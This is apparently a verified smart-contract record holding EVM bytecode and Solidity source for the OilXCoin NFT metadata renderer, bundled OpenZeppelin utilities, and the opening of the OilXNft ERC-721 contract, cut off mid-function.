34c360e21b8152600481018d90526105f1906001600160a01b038c169063ab58d30c9060240161050e565b6105fa88610ea2565b6106038a610ea2565b6040516020016106179594939291906118aa565b60408051601f19818403018152908290526312a5fda160e31b8252600482018c90529150600090610708906001600160a01b038b169063952fed0890602401602060405180830381865afa158015610673573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069791906115bc565b604051632ad634c360e21b8152600481018e90526001600160a01b038c169063ab58d30c90602401602060405180830381865afa1580156106dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107009190611709565b888a8f610f35565b9050600061071986868686866110e9565b9a50505050505050505050505b92915050565b61073461111e565b816001600160a01b0316836001600160a01b03167f43734303d11078efad5d02b38924b4e91a189fb2cbbcd429fc52d9f8cedbcdc78360405161077991815260200190565b60405180910390a3604051632142170760e11b81523060048201526001600160a01b038381166024830152604482018390528416906342842e0e90606401600060405180830381600087803b1580156107d157600080fd5b505af11580156107e5573d6000803e3d6000fd5b50505050505050565b6107f661111e565b60405147808252906001600160a01b038316907f566e45b1c8057e725bf62796a7f1d37ae294393cab069725a09daddd1af98b799060200160405180910390a26040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561086c573d6000803e3d6000fd5b505050565b61087961111e565b610883600061114b565b565b61088d61111e565b6040516370a0823160e01b815230600482015282906000906001600160a01b038316906370a0823190602401602060405180830381865afa1580156108d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fa9190611709565b9050826001600160a01b0316846001600160a01b03167f33c35f9541201e342d5e7467016e65a0a06182eb12a5f17103f71cec95b6cb298360405161094191815260200190565b60405180910390a360405163a9059cbb60e01b81526001600160a01b0384811660048301526024820183905283169063a9059cbb906044016020604051808303816000875af1158015610998573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bc9190611945565b5050505050565b6109cb61111e565b604051627eeac760e11b81523060048201526024810182905283906000906001600160a01b0383169062fdd58e90604401602060405180830381865afa158015610a19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3d9190611709565b9050836001600160a01b0316856001600160a01b03167fd19a6af682b2b021929d6816639021ffe41d313e2c6878d5dc4924b523be56b28584604051610a8d929190918252602082015260400190565b60405180910390a3604051637921219560e11b81523060048201526001600160a01b038581166024830152604482018590526064820183905260a06084830152600060a483015283169063f242432a9060c401600060405180830381600087803b158015610afa57600080fd5b505af1158015610b0e573d6000803e3d6000fd5b505050505050505050565b610b2161111e565b6001600160a01b038116610b5057604051631e4fbdf760e01b8152600060048201526024015b60405180910390fd5b610b598161114b565b50565b6060806000836004811115610b7357610b73611967565b03610b9c57506040805180820190915260078152661112505353d39160ca1b6020820152610726565b6001836004811115610bb057610bb0611967565b03610bda5750604080518082019091526008815267504c4154494e554d60c01b6020820152610726565b6002836004811115610bee57610bee611967565b03610c14575060408051808201909152600481526311d3d31160e21b6020820152610726565b6003836004811115610c2857610c28611967565b03610c50575060408051808201909152600681526529a4a62b22a960d11b6020820152610726565b6004836004811115610c6457610c64611967565b03610c8b5750604080518082019091526005815264424c41434b60d81b6020820152610726565b60405162461bcd60e51b815260206004820152601060248201526f496e76616c6964204e4654207479706560801b6044820152606401610b47565b6060806000610cd48861119b565b90506000610ce18861119b565b90506000610cee8861119b565b90506000610cfb876111af565b9050610d068c610b5c565b84604051602001610d1892919061197d565b604051602081830303815290604052955080610d3389610ea2565b604051602001610d449291906119f2565b604051602081830303815290604052945084848484604051602001610d6c9493929190611beb565b604051602081830303815290604052945050505050965096945050505050565b6060806000836004811115610da357610da3611967565b03610dc657506040805180820190915260018152600360fc1b6020820152610726565b6001836004811115610dda57610dda611967565b03610dfd57506040805180820190915260018152603160f81b6020820152610726565b6002836004811115610e1157610e11611967565b03610e3457506040805180820190915260018152601960f91b6020820152610726565b6003836004811115610e4857610e48611967565b03610e6b57506040805180820190915260018152603360f81b6020820152610726565b6004836004811115610e7f57610e7f611967565b03610c8b57506040805180820190915260018152600d60fa1b6020820152610726565b60606000610eaf836111c5565b600101905060008167ffffffffffffffff811115610ecf57610ecf611df7565b6040519080825280601f01601f191660200182016040528015610ef9576020820181803683370190505b5090508181016020015b600019016f181899199a1a9b1b9c1cb0b131b232b360811b600a86061a8153600a8504945084610f0357509392505050565b60606000610f428661119b565b90506000610f4f8661119b565b90506000610f5c8661119b565b90506000610f698a610b5c565b9050610fb76040518060400160405280600a81526020016921b7b63632b1ba34b7b760b11b8152506040518060400160405280600881526020016727b4b62c21b7b4b760c11b81525061129d565b61100860405180604001604052806008815260200167151bdad95b88125160c21b815250610fe489610ea2565b60405180604001604052806006815260200165373ab6b132b960d11b8152506112c9565b6110356040518060400160405280600b81526020016a13da5b1608185b5bdd5b9d60aa1b815250876112f8565b61105e6040518060400160405280600781526020016610db185a5b595960ca1b815250876112f8565b61108c6040518060400160405280600c81526020016b1199595cc818db185a5b595960a21b815250876112f8565b6110b6604051806040016040528060088152602001674e4654207479706560c01b8152508761129d565b6040516020016110cb96959493929190611e0d565b60405160208183030381529060405294505050505095945050505050565b60608585858585604051602001611104959493929190611ec1565b604051602081830303815290604052905095945050505050565b6000546001600160a01b031633146108835760405163118cdaa760e01b8152336004820152602401610b47565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b606060006111a883610ea2565b9392505050565b60606107266001600160a01b038316601461130d565b60008072184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b83106112045772184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b830492506040015b6d04ee2d6d415b85acef81000000008310611230576d04ee2d6d415b85acef8100000000830492506020015b662386f26fc10000831061124e57662386f26fc10000830492506010015b6305f5e1008310611266576305f5e100830492506008015b612710831061127a57612710830492506004015b6064831061128c576064830492506002015b600a83106107265760010192915050565b606082826040516020016112b2929190611fec565b604051602081830303815290604052905092915050565b60608184846040516020016112e09392919061207a565b60405160208183030381529060405290509392505050565b606082826040516020016112b2929190612135565b606082600061131d8460026121b8565b6113289060026121cf565b67ffffffffffffffff81111561134057611340611df7565b6040519080825280601f01601f19166020018201604052801561136a576020820181803683370190505b509050600360fc1b81600081518110611385576113856121e2565b60200101906001600160f81b031916908160001a905350600f60fb1b816001815181106113b4576113b46121e2565b60200101906001600160f81b031916908160001a90535060006113d88560026121b8565b6113e39060016121cf565b90505b600181111561145b576f181899199a1a9b1b9c1cb0b131b232b360811b83600f1660108110611417576114176121e2565b1a60f81b82828151811061142d5761142d6121e2565b60200101906001600160f81b031916908160001a90535060049290921c91611454816121f8565b90506113e6565b5081156114855760405163e22e27eb60e01b81526004810186905260248101859052604401610b47565b949350505050565b6001600160a01b0381168114610b5957600080fd5b600080604083850312156114b557600080fd5b82356114c08161148d565b946020939093013593505050565b60005b838110156114e95781810151838201526020016114d1565b50506000910152565b60208152600082518060208401526115118160408501602087016114ce565b601f01601f19169190910160400192915050565b60008060006060848603121561153a57600080fd5b83356115458161148d565b925060208401356115558161148d565b929592945050506040919091013590565b60006020828403121561157857600080fd5b81356111a88161148d565b6000806040838503121561159657600080fd5b82356115a18161148d565b915060208301356115b18161148d565b809150509250929050565b6000602082840312156115ce57600080fd5b8151600581106111a857600080fd5b6000602082840312156115ef57600080fd5b815160ff811681146111a857600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561165157816000190482111561163757611637611600565b8085161561164457918102915b93841c939080029061161b565b509250929050565b60008261166857506001610726565b8161167557506000610726565b816001811461168b5760028114611695576116b1565b6001915050610726565b60ff8411156116a6576116a6611600565b50506001821b610726565b5060208310610133831016604e8410600b84101617156116d4575081810a610726565b6116de8383611616565b80600019048211156116f2576116f2611600565b029392505050565b60006111a860ff841683611659565b60006020828403121561171b57600080fd5b5051919050565b60008261173f57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561072657610726611600565b8054600090600181811c908083168061177157607f831692505b6020808410820361179257634e487b7160e01b600052602260045260246000fd5b8180156117a657600181146117bb576117e8565b60ff19861689528415158502890196506117e8565b60008881526020902060005b868110156117e05781548b8201529085019083016117c7565b505084890196505b50505050505092915050565b600081516118068185602086016114ce565b9290920192915050565b600061181c8288611757565b865161182c818360208b016114ce565b602f60f81b9101818152865190919061184c816001850160208b016114ce565b600192019182018190528551611869816002850160208a016114ce565b600292019182015283516118848160038401602088016114ce565b692f6d656469612e73766760b01b60039290910191820152600d01979650505050505050565b60006118b68288611757565b86516118c6818360208b016114ce565b602f60f81b910181815286519091906118e6816001850160208b016114ce565b600192019182018190528551611903816002850160208a016114ce565b6002920191820152835161191e8160038401602088016114ce565b6a0bdb59591a584b9a1d1b5b60aa1b60039290910191820152600e01979650505050505050565b60006020828403121561195757600080fd5b815180151581146111a857600080fd5b634e487b7160e01b600052602160045260246000fd5b68027b4b62c21b7b4b7160bd1b8152600083516119a18160098501602088016114ce565b650409c8ca840560d31b60099184019182015283516119c781600f8401602088016114ce565b71204f494c5820456e7469746c656d656e742960701b600f9290910191820152602101949350505050565b7f54686973204e465420656e7469746c65732069747320686f6c64657220746f2081527f61206f6e652d6f666620636c61696d206f662069747320636f72726573706f6e60208201527f64696e67206e756d626572206f66204f696c58436f696e20746f6b656e732e2060408201527f4f6e6365204f494c5820686173206265656e206c61756e636865642c0000000060608201527f20746865736520746f6b656e732063616e20626520636c61696d656420756e64607c8201527f65722068747470733a2f2f6f696c78636f696e2e696f2e204f6e636520746865609c8201527f2076657374696e6720706572696f64206861732065787069726564207468657360bc8201527f6520746f6b656e732063616e2062652074726164656420667265656c792e000060dc8201527f20546865207465726d73206f6620746865204e46542063616e20626520666f7560fa8201527f6e6420756e6465722068747470733a2f2f6f696c78636f696e2e696f2f656e2f61011a8201527237333a17ba32b93696b9b432b2ba172e372e3760691b61013a82015271021b7b73a3930b1ba1020b2323932b9b99d160751b61014d8201526000611485611be5611bbc61015f85015b876117f4565b7f207c2054686973204e46542068617320546f6b656e2049443a200000000000008152601a0190565b846117f4565b60008551611bfd818460208a016114ce565b7002e372b37bab1b432b9103b30b63ab29d1607d1b9083019081528551611c2b816011840160208a016114ce565b7001027a4a62c103e1031b630b4b6b2b21d1607d1b601192909101918201528451611c5d8160228401602089016114ce565b7501027a4a62c103e102332b2b99031b630b4b6b2b21d160551b602292909101918201528351611c948160388401602088016114ce565b7f204f494c585c6e5c6e20444953434c41494d45523a204475652064696c696765910160388101919091527f6e636520697320696d7065726174697665207072696f7220746f20657865637560588201527f74696e6720616e79204e4654207472616e73616374696f6e732e20456e73757260788201527f65207468617420616c6c2077616c6c657420616e6420736d61727420636f6e7460988201526d726163742061646472657373657360901b60b88201527f2061726520636f72726563742e20446558656e74726120476d624820646f657360c68201527f206e6f7420617373756d6520616e79206c696162696c69747920666f7220696d60e68201527f69746174696f6e73206f72206572726f7273206d61646520696e000000000000610106820152611dec61012082017f20746865207472616e73616374696f6e2070726f636573732e00000000000000815260190190565b979650505050505050565b634e487b7160e01b600052604160045260246000fd5b600087516020611e208285838d016114ce565b8184019150600b60fa1b8083528951611e3f8160018601858e016114ce565b600193019283018190528851611e5b8160028601858d016114ce565b600293019283018190528751611e778160038601858c016114ce565b600393019283018190528651611e938160048601858b016114ce565b60049301928301528451611ead81600585018489016114ce565b919091016005019998505050505050505050565b607b60f81b815268113730b6b2911d101160b91b60018201528551600090611ef081600a850160208b016114ce565b61088b60f21b600a9184019182018190526f113232b9b1b934b83a34b7b7111d101160811b600c8301528751611f2d81601c850160208c016114ce565b601c920191820152691134b6b0b3b2911d101160b11b601e8201528551611f5b816028840160208a016114ce565b611fdf611fd1611bb6611fb5611fa8611fa2611f846028888a010161088b60f21b815260020190565b711130b734b6b0ba34b7b72fbab936111d101160711b815260120190565b8b6117f4565b601160f91b815260010190565b6f2c2261747472696275746573223a205b60801b815260100190565b615d7d60f01b815260020190565b9998505050505050505050565b607b60f81b81526e113a3930b4ba2fba3cb832911d101160891b600182015282516000906120218160108501602088016114ce565b61088b60f21b60109184019182015269113b30b63ab2911d101160b11b6012820152835161205681601c8401602088016114ce565b601160f91b601c9290910191820152607d60f81b601d820152601e01949350505050565b607b60f81b815270113234b9b83630bcafba3cb832911d101160791b600182015283516000906120b18160128501602089016114ce565b61088b60f21b60129184019182018190526e113a3930b4ba2fba3cb832911d101160891b601483015285516120ed816023850160208a016114ce565b6023920191820152680113b30b63ab2911d160bd1b6025820152835161211a81602e8401602088016114ce565b607d60f81b602e9290910191820152602f0195945050505050565b607b60f81b81526e113a3930b4ba2fba3cb832911d101160891b6001820152825160009061216a8160108501602088016114ce565b61088b60f21b601091840191820152680113b30b63ab2911d160bd1b6012820152835161219e81601b8401602088016114ce565b607d60f81b601b9290910191820152601c01949350505050565b808202811582820484141761072657610726611600565b8082018082111561072657610726611600565b634e487b7160e01b600052603260045260246000fd5b60008161220757612207611600565b50600019019056fea26469706673582212205b0ceba2aafce2ab7f117c6900e93dce7a595ede40d5d04a9496b1ffb49f2edd64736f6c63430008170033 | {{
"language": "Solidity",
"sources": {
"src/OilXNftMetadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"./OilXNft.sol\";\nimport \"./WithdrawContracts.sol\";\n\ncontract OilXNftMetadata is WidthdrawContractsOwnable {\n constructor() WidthdrawContractsOwnable(msg.sender) {}\n string private _mediaUrl = \"https://oilxcoin.io/nft-media/\";\n\n function getTokenTypeString(OilXNftTokenType tokenType) private pure returns (string memory strType) {\n string memory strTokenType;\n if (tokenType == OilXNftTokenType.DIAMOND) {\n strTokenType = \"DIAMOND\";\n } else if (tokenType == OilXNftTokenType.PLATINUM) {\n strTokenType = \"PLATINUM\";\n } else if (tokenType == OilXNftTokenType.GOLD) {\n strTokenType = \"GOLD\";\n } else if (tokenType == OilXNftTokenType.SILVER) {\n strTokenType = \"SILVER\";\n } else if (tokenType == OilXNftTokenType.BLACK) {\n strTokenType = \"BLACK\";\n } else {\n revert(\"Invalid NFT type\");\n }\n\n return strType = strTokenType;\n }\n\n function getTokenTypeNumberString(OilXNftTokenType tokenType) private pure returns (string memory strType) {\n string memory strTokenType;\n if (tokenType == OilXNftTokenType.DIAMOND) {\n strTokenType = \"0\";\n } else if (tokenType == OilXNftTokenType.PLATINUM) {\n strTokenType = \"1\";\n } else if (tokenType == OilXNftTokenType.GOLD) {\n strTokenType = \"2\";\n } else if (tokenType == OilXNftTokenType.SILVER) {\n strTokenType = \"3\";\n } else if (tokenType == OilXNftTokenType.BLACK) {\n strTokenType = \"4\";\n } else {\n revert(\"Invalid NFT type\");\n }\n\n return strType = strTokenType;\n }\n\n function convertAmountToString(uint256 amount) private pure returns (string memory strAmount) {\n string memory strAmountText = Strings.toString(amount);\n return strAmount = strAmountText;\n }\n\n function addMetadataAttributeDisplayType(\n string memory traitType,\n string memory value,\n string memory displayType\n ) private pure returns (string memory strAttribute) {\n // string memory strAttribute;\n strAttribute = string(\n abi.encodePacked(\n \"{\",\n '\"display_type\": \"',\n displayType,\n '\",',\n '\"trait_type\": \"',\n traitType,\n '\",',\n '\"value\": ',\n value,\n \"}\"\n )\n );\n return strAttribute;\n }\n\n function addMetadataAttributeString(string memory traitType, string memory value)\n private\n pure\n returns (string memory strAttribute)\n {\n // string memory strAttribute;\n strAttribute = string(abi.encodePacked(\"{\", '\"trait_type\": \"', traitType, '\",', '\"value\": \"', value, '\"', \"}\"));\n return strAttribute;\n }\n\n function addMetadataAttributeNumber(string memory traitType, string memory value)\n private\n pure\n returns (string memory strAttribute)\n {\n // string memory strAttribute;\n strAttribute = string(abi.encodePacked(\"{\", '\"trait_type\": \"', traitType, '\",', '\"value\": ', value, \"}\"));\n return strAttribute;\n }\n\n function generateTexts(\n OilXNftTokenType tokenType,\n uint256 oilXAmount,\n uint256 oilXClaimed,\n uint256 oilXFee,\n uint256 tokenId,\n address contractAddress\n ) private pure returns (string memory title, string memory description) {\n string memory strOilXamountText = convertAmountToString(oilXAmount);\n string memory strOilXamountClaimedText = convertAmountToString(oilXClaimed);\n string memory strOilfeeText = convertAmountToString(oilXFee);\n string memory contractAddr = Strings.toHexString(contractAddress);\n\n title = string(abi.encodePacked(\"OilXCoin \", getTokenTypeString(tokenType), \" NFT (\", strOilXamountText, \" OILX Entitlement)\"));\n\n\n description = string(\n abi.encodePacked(\n \"This NFT entitles its holder to a one-off claim of its corresponding number of OilXCoin tokens. Once OILX has been launched,\",\n \" these tokens can be claimed under https://oilxcoin.io. Once the vesting period has expired these tokens can be traded freely.\",\n \" The terms of the NFT can be found under https://oilxcoin.io/en/nft/term-sheet.\\\\n\\\\n\",\n \"Contract Address: \",\n contractAddr,\n \" | This NFT has Token ID: \",\n Strings.toString(tokenId)\n ));\n\n description = string(\n abi.encodePacked( description,\n \"\\\\nVoucher value: \",\n strOilXamountText,\n \" OILX | claimed: \",\n strOilXamountClaimedText,\n \" OILX | Fees claimed: \",\n strOilfeeText,\n \" OILX\"\n \"\\\\n\\\\n DISCLAIMER: Due diligence is imperative prior to executing any NFT transactions. Ensure that all wallet and smart contract addresses\",\n \" are correct. DeXentra GmbH does not assume any liability for imitations or errors made in\",\n \" the transaction process.\"\n )\n );\n }\n\n function getMetaAttributes(\n OilXNftTokenType tokenType,\n uint256 oilXamount,\n uint256 oilXclaimed,\n uint256 oilXfee,\n uint256 tokenId\n ) private pure returns (string memory strAttributes) {\n string memory strOilXamountText = convertAmountToString(oilXamount);\n string memory strOilXamountClaimedText = convertAmountToString(oilXclaimed);\n string memory strOilfeeText = convertAmountToString(oilXfee);\n string memory strTokenType = getTokenTypeString(tokenType);\n strAttributes = string(\n abi.encodePacked(\n addMetadataAttributeString(\"Collection\", \"OilXCoin\"),\n \",\",\n addMetadataAttributeDisplayType(\"Token ID\", Strings.toString(tokenId), \"number\"),\n \",\",\n addMetadataAttributeNumber(\"OilX amount\", strOilXamountText),\n \",\",\n addMetadataAttributeNumber(\"Claimed\", strOilXamountClaimedText),\n \",\",\n addMetadataAttributeNumber(\"Fees claimed\", strOilfeeText),\n \",\",\n addMetadataAttributeString(\"NFT type\", strTokenType)\n )\n );\n\n return strAttributes;\n }\n\n function getDataBytes(\n string memory strTitle,\n string memory strDescription,\n string memory imageUrl,\n string memory animationUrl,\n string memory jsonAttributes\n ) private view returns (bytes memory data) {\n data = abi.encodePacked(\n \"{\",\n '\"name\": \"',\n strTitle,\n '\",',\n '\"description\": \"',\n strDescription,\n '\",',\n '\"image\": \"',\n imageUrl,\n '\",',\n '\"animation_url\": \"',\n animationUrl,\n '\"',\n ',\"attributes\": [',\n jsonAttributes,\n \"]}\"\n );\n\n return data;\n }\n\n function getTokenURI(address addressNft, uint256 tokenId) public view returns (bytes memory) {\n OilXNft nft = OilXNft(addressNft);\n\n string memory strTokenTyp;\n strTokenTyp = getTokenTypeString(nft.tokenIdTokenType(tokenId));\n\n uint256 claimedFee = nft.tokenIdOilXFeeClaimed(tokenId) / 10 ** nft.feeDecimals();\n uint256 claimedOilX = nft.tokenIdOilXAmount(tokenId) - nft.tokenIdOilXClaimable(tokenId);\n\n (string memory strTitle, string memory strDescription) = generateTexts(\n nft.tokenIdTokenType(tokenId),\n nft.tokenIdOilXAmount(tokenId),\n claimedOilX,\n claimedFee,\n tokenId,\n addressNft\n );\n\n string memory imageUrl = string(\n abi.encodePacked(\n _mediaUrl,\n getTokenTypeNumberString(nft.tokenIdTokenType(tokenId)),\n \"/\",\n Strings.toString(nft.tokenIdOilXAmount(tokenId)),\n \"/\",\n Strings.toString(claimedOilX),\n \"/\",\n Strings.toString(claimedFee),\n \"/media.svg\"\n )\n );\n\n string memory animationUrl = string(\n abi.encodePacked(\n _mediaUrl,\n getTokenTypeNumberString(nft.tokenIdTokenType(tokenId)),\n \"/\",\n Strings.toString(nft.tokenIdOilXAmount(tokenId)),\n \"/\",\n Strings.toString(claimedOilX),\n \"/\",\n Strings.toString(claimedFee),\n \"/media.html\"\n )\n );\n\n string memory jsonAttributes = getMetaAttributes(\n nft.tokenIdTokenType(tokenId), nft.tokenIdOilXAmount(tokenId), claimedOilX, claimedFee, tokenId\n );\n\n bytes memory data = getDataBytes(strTitle, strDescription, imageUrl, animationUrl, jsonAttributes);\n\n return data;\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Strings.sol)\n\npragma solidity ^0.8.20;\n\nimport {Math} from \"./math/Math.sol\";\nimport {SignedMath} from \"./math/SignedMath.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n uint8 private constant ADDRESS_LENGTH = 20;\n\n /**\n * @dev The `value` string doesn't fit in the specified `length`.\n */\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toStringSigned(int256 value) internal pure returns (string memory) {\n return string.concat(value < 0 ? \"-\" : \"\", toString(SignedMath.abs(value)));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n uint256 localValue = value;\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n localValue >>= 4;\n }\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal\n * representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/utils/Base64.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v5.0.0) (utils/Base64.sol)\n\npragma solidity ^0.8.20;\n\n/**\n * @dev Provides a set of functions to operate with Base64 strings.\n */\nlibrary Base64 {\n /**\n * @dev Base64 Encoding/Decoding Table\n */\n string internal constant _TABLE = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\n /**\n * @dev Converts a `bytes` to its Bytes64 `string` representation.\n */\n function encode(bytes memory data) internal pure returns (string memory) {\n /**\n * Inspired by Brecht Devos (Brechtpd) implementation - MIT licence\n * https://github.com/Brechtpd/base64/blob/e78d9fd951e7b0977ddca77d92dc85183770daf4/base64.sol\n */\n if (data.length == 0) return \"\";\n\n // Loads the table into memory\n string memory table = _TABLE;\n\n // Encoding takes 3 bytes chunks of binary data from `bytes` data parameter\n // and split into 4 numbers of 6 bits.\n // The final Base64 length should be `bytes` data length multiplied by 4/3 rounded up\n // - `data.length + 2` -> Round up\n // - `/ 3` -> Number of 3-bytes chunks\n // - `4 *` -> 4 characters for each chunk\n string memory result = new string(4 * ((data.length + 2) / 3));\n\n /// @solidity memory-safe-assembly\n assembly {\n // Prepare the lookup table (skip the first \"length\" byte)\n let tablePtr := add(table, 1)\n\n // Prepare result pointer, jump over length\n let resultPtr := add(result, 32)\n\n // Run over the input, 3 bytes at a time\n for {\n let dataPtr := data\n let endPtr := add(data, mload(data))\n } lt(dataPtr, endPtr) {\n\n } {\n // Advance 3 bytes\n dataPtr := add(dataPtr, 3)\n let input := mload(dataPtr)\n\n // To write each character, shift the 3 bytes (18 bits) chunk\n // 4 times in blocks of 6 bits for each character (18, 12, 6, 0)\n // and apply logical AND with 0x3F which is the number of\n // the previous character in the ASCII table prior to the Base64 Table\n // The result is then added to the table to get the character to write,\n // and finally write it in the result pointer but with a left shift\n // of 256 (1 byte) - 8 (1 ASCII char) = 248 bits\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(shr(6, input), 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n\n mstore8(resultPtr, mload(add(tablePtr, and(input, 0x3F))))\n resultPtr := add(resultPtr, 1) // Advance\n }\n\n // When data `bytes` is not exactly 3 bytes long\n // it is padded with `=` characters at the end\n switch mod(mload(data), 3)\n case 1 {\n mstore8(sub(resultPtr, 1), 0x3d)\n mstore8(sub(resultPtr, 2), 0x3d)\n }\n case 2 {\n mstore8(sub(resultPtr, 1), 0x3d)\n }\n }\n\n return result;\n }\n}\n"
},
"src/OilXNft.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.20;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol\";\nimport \"@openzeppelin/contracts/access/AccessControl.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC4906.sol\";\nimport \"./OilXEnumDeclaration.sol\";\nimport \"./WithdrawContracts.sol\";\n\nabstract contract NftMetadataRenderer {\n function getTokenURI(address _addressNft, uint256 _tokenId) public view virtual returns (bytes memory);\n}\n\n/*\n* @title OilXNft\n* @author OilXCoin.io Dev Team\n* @notice Release Tests\n*/\ncontract OilXNft is ERC721, IERC4906, ERC721Enumerable, AccessControl, WidthdrawContractsAccessControl {\n bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n bytes32 public constant REWARD_ROLE = keccak256(\"REWARD_ROLE\");\n bytes32 public constant META_UPDATER = keccak256(\"META_UPDATER\");\n\n uint256 private _nextTokenId;\n uint8 public constant feeDecimals = 18;\n\n /**\n contract for rendering onchain or offchain metadata\n */\n address public addressMetaRenderer; \n\n /**\n variables to set the final OilXCoin ERC-20 token contract. \n Only the OilXCoin contract can update the token sale and fee claimer contract address.\n */\n address public addressOilXCoin; \n address public addressTokenSaleClaimer;\n address public addressFeeClaimer;\n bool public isAddressOilXCoinSet = false;\n bool public isRewardProgramClosed = false;\n\n event OilXClaimed(uint256 tokenId, uint256 amount);\n event ClaimedFeeIncreased(uint256 tokenId, uint256 feeAmount);\n event RewardsBlackNFT(uint256 tokenId, uint256 amount);\n event MintOilXNFT(address indexed to, uint256 indexed tokenId, OilXNftTokenType tokenType, uint256 indexed amountOilX);\n event AddressOilXCoinChanged(address indexed oldAddress, address indexed newAddress);\n event AddressFeeClaimerChanged(address indexed oldAddress, address indexed newAddress);\n event AddressTokenSaleClaimerChanged(address indexed oldAddress, address indexed newAddress);\n event RewardProgrammClosed();\n\n /**\n * How many tokens are still up for purchase?\n */\n mapping(OilXNftTokenType => uint256) public remainingToken;\n\n /**\n * How many tokens of a type have been sold?\n */\n mapping(OilXNftTokenType => uint256) public soldTokenType;\n\n /**\n * What token type (PLATINUM, GOLD, SILVER, BLACK) is the tokenid?\n */\n mapping(uint256 => OilXNftTokenType) public tokenIdTokenType;\n\n /**\n * How many tokens can token-id redeem? (e.g. token id 1 can redeem 100.000 tokens)\n */\n mapping(uint256 => uint256) public tokenIdOilXClaimable;\n\n /**\n * How many erc20 tokens were sold in total?\n * This is important for the ERC20 token claim contract\n */\n uint256 public totalOilXCoinSold;\n\n /**\n * How many Rewards are available for BLACK NFTs\n */\n uint256 public totalOilXCoinReward;\n\n /**\n * OilX amount for each NFT to calculate fees\n */\n mapping(uint256 => uint256) public tokenIdOilXAmount; \n \n /**\n * Fee amount the NFT token-id has been already claimed\n */\n mapping(uint256 => uint256) public tokenIdOilXFeeClaimed;\n\n /**\n * @notice Constructor\n * @param defaultAdmin The address of the default admin\n */\n constructor(address defaultAdmin) ERC721(\"OilXNft\", \"OILX\") WidthdrawContractsAccessControl(defaultAdmin) {\n _grantRole(DEFAULT_ADMIN_ROLE, defaultAdmin);\n\n remainingToken[OilXNftTokenType.DIAMOND] = 5 * 1_000_000;\n remainingToken[OilXNftTokenType.PLATINUM] = 20 * 100_000;\n remainingToken[OilXNftTokenType.GOLD] = 5_000_000;\n remainingToken[OilXNftTokenType.SILVER] = 8_000_000;\n\n addressMetaRenderer = address(this);\n }\n\n /**\n * @notice Returns ID of Black NFT for address\n * @param holder The address of the NFT owner\n * @return tokenId The ID of the black NFT, or 0 when no black NFT found\n */\n function getHolderBlackTokenID(address holder) public view returns (uint32 tokenId) {\n uint256 balance = balanceOf(holder);\n uint256 blackNFTid;\n for (uint256 i = 0; i < balance; i++) 